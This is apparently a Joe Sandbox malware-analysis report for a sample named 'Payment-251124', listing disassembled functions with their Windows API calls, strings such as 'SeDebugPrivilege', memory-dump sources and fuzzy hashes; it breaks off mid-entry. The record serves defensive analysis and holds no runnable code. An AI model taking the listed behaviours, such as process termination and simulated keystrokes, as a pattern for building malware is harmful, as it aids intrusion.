                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                        • String ID:
                                                        • API String ID: 4090791747-0
                                                        • Opcode ID: 0959ceda5c9a257eed44804458440e45a31586ebfdb772bcf39954b5363215e8
                                                        • Instruction ID: 7fb00138e784c4a268aa233617ed2a9d2e4ee5bc5a2a7aa5898256269c322ecc
                                                        • Opcode Fuzzy Hash: 0959ceda5c9a257eed44804458440e45a31586ebfdb772bcf39954b5363215e8
                                                        • Instruction Fuzzy Hash: AED1AD31604251AFC714EF24D891B6EBBE0EF84320F18855DF999AB3A2DB71DC41DB52
                                                        Function 00F2B33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00F2B3F4
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InvalidateRect
                                                        • String ID:
                                                        • API String ID: 634782764-0
                                                        • Opcode ID: c773964776e0b89ecda4e8609d519c2549155bc9dbd782b6870c6bdecfc6ba59
                                                        • Instruction ID: f6f5761b0534699fd37e382a5e8ca84982ba027f97ea0fececad170e50467212
                                                        • Opcode Fuzzy Hash: c773964776e0b89ecda4e8609d519c2549155bc9dbd782b6870c6bdecfc6ba59
                                                        • Instruction Fuzzy Hash: 4B519631A04228BBEF20DF18EC85BAD3BA4EB05324F644115FE15E61E2D775ED40BB51
                                                        Function 00EDA699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00F3DB1B
                                                        • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00F3DB3C
                                                        • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00F3DB51
                                                        • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00F3DB6E
                                                        • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00F3DB95
                                                        • DestroyIcon.USER32(00000000,?,?,?,?,?,?,00EDA67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00F3DBA0
                                                        • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00F3DBBD
                                                        • DestroyIcon.USER32(00000000,?,?,?,?,?,?,00EDA67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00F3DBC8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                        • String ID:
                                                        • API String ID: 1268354404-0
                                                        • Opcode ID: c045659281e56941100d74f9edc4518f80b99d3ee3157f48bb54c18910bcde18
                                                        • Instruction ID: bcf21f37d9e966ae5bfa29589af050d683747f0439f785676ca993ee72b98b37
                                                        • Opcode Fuzzy Hash: c045659281e56941100d74f9edc4518f80b99d3ee3157f48bb54c18910bcde18
                                                        • Instruction Fuzzy Hash: D4516A30A00208EFDB24DF64DC81FAA77B9FB58364F14052AF956A62D0D7B0ED91EB50
                                                        Function 00F07555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F06EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F05FA6,?), ref: 00F06ED8
                                                          • Part of subcall function 00F06EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F05FA6,?), ref: 00F06EF1
                                                          • Part of subcall function 00F072CB: GetFileAttributesW.KERNEL32(?,00F06019), ref: 00F072CC
                                                        • lstrcmpiW.KERNEL32(?,?), ref: 00F075CA
                                                        • _wcscmp.LIBCMT ref: 00F075E2
                                                        • MoveFileW.KERNEL32(?,?), ref: 00F075FB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                        • String ID:
                                                        • API String ID: 793581249-0
                                                        • Opcode ID: b9e5212a14260273443cae34fc96686af540cab6d46721849a32f2ae5064fdc9
                                                        • Instruction ID: ee7ebe702c839036f99a29493cfd9825ac3682c4cfdc197fe401ad7e5b7ac6fb
                                                        • Opcode Fuzzy Hash: b9e5212a14260273443cae34fc96686af540cab6d46721849a32f2ae5064fdc9
                                                        • Instruction Fuzzy Hash: 2F51F1B2D0921D9ADF64EB94DC419DE73BC9F08320B5040DAFA05E3181DB75A6C5EF64
                                                        Function 00EDEA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00F3DAD1,00000004,00000000,00000000), ref: 00EDEAEB
                                                        • ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,00F3DAD1,00000004,00000000,00000000), ref: 00EDEB32
                                                        • ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,00F3DAD1,00000004,00000000,00000000), ref: 00F3DC86
                                                        • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,00F3DAD1,00000004,00000000,00000000), ref: 00F3DCF2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ShowWindow
                                                        • String ID:
                                                        • API String ID: 1268545403-0
                                                        • Opcode ID: e5ed94d9ee11b2f67257aa79b1d664837975ffd7690dc3127f707da91e927d97
                                                        • Instruction ID: 5e430b100e7c845bd43c02dbd875f1ecbaaaebada01cbe1310fc9a3bfeaa2c2f
                                                        • Opcode Fuzzy Hash: e5ed94d9ee11b2f67257aa79b1d664837975ffd7690dc3127f707da91e927d97
                                                        • Instruction Fuzzy Hash: 65412A70714680DAD73567289D8DB7A7A95FB53328F19340FF087AE761D670B842E311
                                                        Function 00EFBFF0 Relevance: 13.6, APIs: 9, Instructions: 65sleepkeyboardwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFD342: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EFD362
                                                          • Part of subcall function 00EFD342: GetCurrentThreadId.KERNEL32 ref: 00EFD369
                                                          • Part of subcall function 00EFD342: AttachThreadInput.USER32(00000000,?,00EFC005,?,00000001), ref: 00EFD370
                                                        • MapVirtualKeyW.USER32(00000025,00000000), ref: 00EFC010
                                                        • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00EFC02D
                                                        • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00EFC030
                                                        • MapVirtualKeyW.USER32(00000025,00000000), ref: 00EFC039
                                                        • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00EFC057
                                                        • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00EFC05A
                                                        • MapVirtualKeyW.USER32(00000025,00000000), ref: 00EFC063
                                                        • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00EFC07A
                                                        • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00EFC07D
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                        • String ID:
                                                        • API String ID: 2014098862-0
                                                        • Opcode ID: 7e9908fb80187681717a7b2af9b08b7b9a9b79f0cee251b51acc320aa2e65b7e
                                                        • Instruction ID: 7563577a538ede8a5402e59f4e573a2946e13303161d1c96c16373161d79ff91
                                                        • Opcode Fuzzy Hash: 7e9908fb80187681717a7b2af9b08b7b9a9b79f0cee251b51acc320aa2e65b7e
                                                        • Instruction Fuzzy Hash: 1A1104B560061CBEF7102B748C89F6A3F6DEF59754F210415F740BB0E0C9F25C41AAA4
                                                        Function 00EFB263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00EFAEF1,00000B00,?,?), ref: 00EFB26C
                                                        • HeapAlloc.KERNEL32(00000000,?,00EFAEF1,00000B00,?,?), ref: 00EFB273
                                                        • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00EFAEF1,00000B00,?,?), ref: 00EFB288
                                                        • GetCurrentProcess.KERNEL32(?,00000000,?,00EFAEF1,00000B00,?,?), ref: 00EFB290
                                                        • DuplicateHandle.KERNEL32(00000000,?,00EFAEF1,00000B00,?,?), ref: 00EFB293
                                                        • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00EFAEF1,00000B00,?,?), ref: 00EFB2A3
                                                        • GetCurrentProcess.KERNEL32(00EFAEF1,00000000,?,00EFAEF1,00000B00,?,?), ref: 00EFB2AB
                                                        • DuplicateHandle.KERNEL32(00000000,?,00EFAEF1,00000B00,?,?), ref: 00EFB2AE
                                                        • CreateThread.KERNEL32(00000000,00000000,00EFB2D4,00000000,00000000,00000000), ref: 00EFB2C8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                        • String ID:
                                                        • API String ID: 1957940570-0
                                                        • Opcode ID: 4d14197ad7c1178aef6da10cb4fd3147d1f98ea69f2767beb3e8dda73a483df3
                                                        • Instruction ID: e8f12226d04413496febb2c464c56e089c8466e6f4b8a34b3ec1d3c38eac9959
                                                        • Opcode Fuzzy Hash: 4d14197ad7c1178aef6da10cb4fd3147d1f98ea69f2767beb3e8dda73a483df3
                                                        • Instruction Fuzzy Hash: 8601C9B9240308BFE710AFA5DC4DF6B7BACEB99B11F018411FE05DB2A1CA749810DB61
                                                        Function 00F1C43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: NULL Pointer assignment$Not an Object type
                                                        • API String ID: 0-572801152
                                                        • Opcode ID: b0d180723eda26a448f5c91870dea9708f02209c66b56c3bea13e0f0a6b2e42b
                                                        • Instruction ID: c5a70fe39b9405f4fb0fdf0b335c75e4ee5e74c8569d3b3ee9a8389eab80cf4f
                                                        • Opcode Fuzzy Hash: b0d180723eda26a448f5c91870dea9708f02209c66b56c3bea13e0f0a6b2e42b
                                                        • Instruction Fuzzy Hash: EDE1A271E40219ABDF14DFA4D881BEE77B5EF48364F148029E905AB281D770ED81EBD0
                                                        Function 00F1BB08 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$ClearInit$_memset
                                                        • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                        • API String ID: 2862541840-625585964
                                                        • Opcode ID: c10764d84ff4518387c9114fd2236bcdf5a3406f59ea1755cb37d5225c783c13
                                                        • Instruction ID: f4069d2eb3058cdd4d5b87dba6974bcd66000590075a68feed68bde5a93672cf
                                                        • Opcode Fuzzy Hash: c10764d84ff4518387c9114fd2236bcdf5a3406f59ea1755cb37d5225c783c13
                                                        • Instruction Fuzzy Hash: 56918F71E00219EBDF24DFA5D844FEEBBB8EF85720F10815AF505AB291D7709981DBA0
                                                        Function 00F29A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00F29B19
                                                        • SendMessageW.USER32(?,00001036,00000000,?), ref: 00F29B2D
                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00F29B47
                                                        • _wcscat.LIBCMT ref: 00F29BA2
                                                        • SendMessageW.USER32(?,00001057,00000000,?), ref: 00F29BB9
                                                        • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00F29BE7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window_wcscat
                                                        • String ID: SysListView32
                                                        • API String ID: 307300125-78025650
                                                        • Opcode ID: 2cf6377692894f73a0fd1a8990b82d720a6b3a132583e8e08ed86b279c513015
                                                        • Instruction ID: f46aac7e9680b069cc65f9f8db0578305218ea0da31dc8b7730425453d185562
                                                        • Opcode Fuzzy Hash: 2cf6377692894f73a0fd1a8990b82d720a6b3a132583e8e08ed86b279c513015
                                                        • Instruction Fuzzy Hash: C841D371A04318ABDB219FA4DC85BEE77E8EF08350F10442AF589E7291D7B59D84EB60
                                                        Function 00F2172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F06532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00F06554
                                                          • Part of subcall function 00F06532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00F06564
                                                          • Part of subcall function 00F06532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00F065F9
                                                        • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F2179A
                                                        • GetLastError.KERNEL32 ref: 00F217AD
                                                        • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00F217D9
                                                        • TerminateProcess.KERNEL32(00000000,00000000), ref: 00F21855
                                                        • GetLastError.KERNEL32(00000000), ref: 00F21860
                                                        • CloseHandle.KERNEL32(00000000), ref: 00F21895
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                        • String ID: SeDebugPrivilege
                                                        • API String ID: 2533919879-2896544425
                                                        • Opcode ID: fb7c3f245afcd3691dc16321a9e22544dd562e61ea124fc3dbcd416083fea2ce
                                                        • Instruction ID: 144844541926ff2960b1c35f29e224af33abd56ccc0099dbea4ad5cc365ef866
                                                        • Opcode Fuzzy Hash: fb7c3f245afcd3691dc16321a9e22544dd562e61ea124fc3dbcd416083fea2ce
                                                        • Instruction Fuzzy Hash: 5C41CE72600210AFDB15EF54DDE5FADB7A1BF64310F048059FA06AB2C2DB79A901AB91
                                                        Function 00F05819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadIconW.USER32(00000000,00007F03), ref: 00F058B8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: IconLoad
                                                        • String ID: blank$info$question$stop$warning
                                                        • API String ID: 2457776203-404129466
                                                        • Opcode ID: 298789f90147bc7db03c7483d2dc74b724e6eb035a40857092b684b708751543
                                                        • Instruction ID: 36e21d355ebfacbd5494f877697f22aa5421d1f3e6567727287c54d00d261dc0
                                                        • Opcode Fuzzy Hash: 298789f90147bc7db03c7483d2dc74b724e6eb035a40857092b684b708751543
                                                        • Instruction Fuzzy Hash: DC112E36B09746FAE7005A559C42D6B33DCDF15720B20403AFD00A52C1F7F09940BA65
                                                        Function 00F0A729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 00F0A806
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ArraySafeVartype
                                                        • String ID:
                                                        • API String ID: 1725837607-0
                                                        • Opcode ID: 78ce4e089ad93f318f4a26817a93a8759875a03937d605f19218d086031bce51
                                                        • Instruction ID: fe0f6f6f59287bbbc55a48187f841980a2bc6c7daa9fe3916a341b1d1b845f1a
                                                        • Opcode Fuzzy Hash: 78ce4e089ad93f318f4a26817a93a8759875a03937d605f19218d086031bce51
                                                        • Instruction Fuzzy Hash: A7C17D75A0531ADFDB00CF94C885BAEB7F4EF09311F20806AE605EB2D1D738A941EB91
                                                        Function 00F06B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00F06B63
                                                        • LoadStringW.USER32(00000000), ref: 00F06B6A
                                                        • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00F06B80
                                                        • LoadStringW.USER32(00000000), ref: 00F06B87
                                                        • _wprintf.LIBCMT ref: 00F06BAD
                                                        • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F06BCB
                                                        Strings
                                                        • %s (%d) : ==> %s: %s %s, xrefs: 00F06BA8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HandleLoadModuleString$Message_wprintf
                                                        • String ID: %s (%d) : ==> %s: %s %s
                                                        • API String ID: 3648134473-3128320259
                                                        • Opcode ID: 09f861e29b4ba2454cd49c01511583a904461d8ab0b02db79fcdafead89c0919
                                                        • Instruction ID: 4dee98d5ace30f6574fa250fc8dccbb2591765942c2352c7fadf1fc29ad67a5f
                                                        • Opcode Fuzzy Hash: 09f861e29b4ba2454cd49c01511583a904461d8ab0b02db79fcdafead89c0919
                                                        • Instruction Fuzzy Hash: 4F0136F690020CBFE711A7949D89EFB776CD708305F004496BB45E2141EA74DE84AF71
                                                        Function 00F22B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F23C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F22BB5,?,?), ref: 00F23C1D
                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F22BF6
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharConnectRegistryUpper
                                                        • String ID:
                                                        • API String ID: 2595220575-0
                                                        • Opcode ID: dc839ef0f7b1a1d8bc224f074b3716cc66617acc63d9f1efe2d45b3acdc1930e
                                                        • Instruction ID: 01165e13944c50cc4006f65212314d623ed92a7834ab199f8aab53df5cd20dae
                                                        • Opcode Fuzzy Hash: dc839ef0f7b1a1d8bc224f074b3716cc66617acc63d9f1efe2d45b3acdc1930e
                                                        • Instruction Fuzzy Hash: A0917971604211AFCB10EF58D981F6EB7E5FF98310F04881DF996972A2DB35E906EB42
                                                        Function 00F1961C Relevance: 12.2, APIs: 8, Instructions: 220networkCOMMON
                                                        Download Yara Rule
                                                        APIs
